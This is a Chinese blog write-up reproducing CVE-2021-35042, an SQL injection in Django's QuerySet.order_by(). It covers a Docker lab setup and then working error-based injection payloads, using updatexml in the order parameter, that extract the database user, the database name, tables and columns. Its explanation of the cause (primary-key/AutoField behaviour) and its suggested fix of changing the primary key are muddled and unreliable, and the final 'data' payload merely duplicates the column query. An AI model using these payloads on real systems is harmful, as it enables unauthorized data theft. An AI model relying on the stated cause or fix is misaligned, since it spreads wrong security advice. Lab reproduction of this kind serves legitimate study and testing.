Django之SQL注入漏洞复现(CVE-2021-35042)
前言
SQL注入的原理是对web请求,表单或域名等提交查询的字符串没有进行安全检测过滤,攻击者可以拼接执行恶意SQL命令,导致用户数据泄露
漏洞原理
Django 组件存在 SQL 注入漏洞,该漏洞是由于对 QuerySet.order_by()中用户提供数据的过滤不足,攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行 SQL 注入攻击,最终造成服务器敏感信息泄露。
以下是我自己的理解,根据Django使用的框架中,他创建了apps.py并执行,会自动生成一个models.py

models.py调用了Collection的这个类
然后发送到了这边,而models又需要migrations来迁移文件,其中调用了models.AutoField,而它如果在没有增加id这个字段的时候,会自动增加一个自增的数据库类型的字段id,但恰恰在此需要设为主键(primary_key=True)否则又会报错,导致错误将id设置为主键,可以执行SQL命令且没有被过滤

所以当order==id时会出现一个自增序列的数据(可以是ID也是等于id)


而当order=-ID又会出现问题,而打印出一些敏感信息


*影响版本
Django 3.2
Django 3.1
环境搭建
靶机: 192.168.31.230
yum-config-manager --add-repo https://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo //下载阿里的镜像yum源
yum install docker-ce docker-ce-cli contaninerd.io
wget https://github.com/docker/compose/releases/download/1.25.0-rc4/docker-compose-Linux-x86_64 //下载docker-compose
service docker start
详细docker搭建请参考此链接:https://www.cnblogs.com/BlogVice-2203/p/16977227.html
将CVE-2021-35042上传到centos7

docker-compose build
docker-compose up -d //启动漏洞环境


环境启动成功后,查看http://your-ip:8000访问首页
构造poc
查当前用户
?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20user())),1)%23

查当前数据库
?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20database())),1)%23

查表
?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())),1)%23

查字段
?order=vuln_collection.name);select%20updatexml(1,concat(0x5c,(select%20column_name%20from%20information_schema.columns%20where%20table_name=%27users%27%20limit%200,1),0x5c),1)%23

查字段
?order=vuln_collection.name);select%20updatexml(1,concat(0x5c,(select%20column_name%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27vuln_collection%27limit%201,1),0x5c),1)%23

查数据
?order=vuln_collection.name);select%20updatexml(1,concat(0x5c,(select%20column_name%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27vuln_collection%27limit%201,1),0x5c),1)%23

修复建议
1.将除了id以外的其他字段其中一个设置为主键(我自己对AutoField()的理解),这样或许可以避免id成为主键自增,在数据库中就没有了主键id,就不会导致SQL注入产生
2.更新最新版本
Django之SQL注入漏洞复现(CVE-2021-35042)的更多相关文章
- Django GIS SQL注入漏洞(CVE-2020-9402)
影响版本 Django 1.11.29之前的1.11.x版本.2.2.11之前的2.2.x版本和3.0.4之前的3.0.x版本中存在SQL注入漏洞 提示有admin.vuln.vuln2,3个页面,存 ...
- 企业安全03Django GIS SQL注入漏洞CVE-2020-9402
Django GIS SQL注入漏洞CVE-2020-9402 一.漏洞描述 Django是Django基金会的一套基于Python语言的开源Web应用框架.该框架包括面向对象的映射器.视图系统.模板 ...
- 【漏洞复现】CVE-2022–21661 WordPress核心框架WP_Query SQL注入漏洞原理分析与复现
影响版本 wordpress < 5.8.3 分析 参考:https://blog.csdn.net/qq_46717339/article/details/122431779 在 5.8.3 ...
- WordPress WP-Realty插件‘listing_id’参数SQL注入漏洞
漏洞名称: WordPress WP-Realty插件‘listing_id’参数SQL注入漏洞 CNNVD编号: CNNVD-201310-499 发布时间: 2013-10-23 更新时间: 20 ...
- Apache 'mod_accounting'模块SQL注入漏洞(CVE-2013-5697)
漏洞版本: mod_accounting 0.5 漏洞描述: BUGTRAQ ID: 62677 CVE ID: CVE-2013-5697 mod_accounting是Apache 1.3.x上的 ...
- WordPress NOSpam PTI插件‘comment_post_ID’参数SQL注入漏洞
漏洞名称: WordPress NOSpam PTI插件‘comment_post_ID’参数SQL注入漏洞 CNNVD编号: CNNVD-201309-388 发布时间: 2013-09-24 更新 ...
- ThinkCMF X2.2.2多处SQL注入漏洞分析
1. 漏洞描述 ThinkCMF是一款基于ThinkPHP+MySQL开发的中文内容管理框架,其中X系列基于ThinkPHP 3.2.3开发,最后更新到2.2.2版本.最近刚好在渗透测试 ...
- ref:ThinkPHP Builder.php SQL注入漏洞(<= 3.2.3)
ThinkPHP Builder.php SQL注入漏洞(<= 3.2.3) ref:https://www.jianshu.com/p/18d06277161e TimeSHU 2018.04 ...
- Beescms_v4.0 sql注入漏洞分析
Beescms_v4.0 sql注入漏洞分析 一.漏洞描述 Beescms v4.0由于后台登录验证码设计缺陷以及代码防护缺陷导致存在bypass全局防护的SQL注入. 二.漏洞环境搭建 1.官方下载 ...
- 【漏洞分析】Discuz! X系列全版本后台SQL注入漏洞
0x01漏洞描述 Discuz!X全版本存在SQL注入漏洞.漏洞产生的原因是source\admincp\admincp_setting.php在处理$settingnew['uc']['appid' ...
随机推荐
- 工作7年收集到的git命令
概念 git 中的术语解释: 仓库也叫版本库(repository) stage:暂存区,add 后会存到暂存区,commit 后提交到版本库 git 安装 linux 下安装 git 第一种方法:y ...
- POJ1651 Multiplication Puzzle (区间DP)
这道题的妙处在于把原问题看成矩阵连乘问题,求这些矩阵相乘的最小乘法次数,比如一个i*k矩阵乘一个k*j的矩阵,他们的乘法次数就是i*k*j (联想矩阵乘法的三层循环),题目说的取走一张牌,类似于矩阵相 ...
- 从 Paxos 到 ZooKeeper
分布式一致性 分布式文件系统.缓存系统和数据库等大型分布式存储系统中,分布式一致性都是一个重要的问题. 什么是分布式一致性?分布式一致性分为哪些类型?分布式系统达到一致性后将会是一个什么样的状态? 如 ...
- Linux实战笔记_ 如何远程访问Kali?
注:基于2018年安装的kali版本. 启动ssh服务 /etc/init.d/ssh start 或 service ssh start #启动ssh服务 /etc/init.d/ssh statu ...
- OpenStack云计算平台框架
概: OpenStack是包含很多独立组件的一个云计算平台框架.在安装组件前,需要先将框架搭建出来,才能向其中放置组件. 搭建open stack云计算平台框架 一.安装open stack云计算平 ...
- 硬核剖析ThreadLocal源码,面试官看了直呼内行
工作面试中经常遇到ThreadLocal,但是很多同学并不了解ThreadLocal实现原理,到底为什么会发生内存泄漏也是一知半解?今天一灯带你深入剖析ThreadLocal源码,总结ThreadLo ...
- calico和flannel的优缺点
1.Kubernetes通信问题 1.容器间通信:即同一个Pod内多个容器间通信,通常使用loopback来实现. 2.Pod间通信:K8s要求,Pod和Pod之间通信必须使用Pod-IP 直接访问另 ...
- Python 多重继承时metaclass conflict问题解决与原理探究
背景 最近有一个需求需要自定义一个多继承abc.ABC与django.contrib.admin.ModelAdmin两个父类的抽象子类,方便不同模块复用大部分代码,同时强制必须实现所有抽象方法,没想 ...
- TypeScript(基础篇)day01
一.TS介绍 1.1 简介 ts是2012年由微软开发,在js的基础上添加了类型支持 1.2 优劣势 优势 :任何位置都有代码提示,增加效率:类型系统重构更容易:使用最新的ECMAscript语法 劣 ...
- docker构建容器时 容器内使用代理
build 容器时 使用代理 demo1 使用前 指定 env 使用后 记得 清空, 否则 会影响 使用容器 时的 网络 cat dockerfile --> FROM jenkins/jenk ...
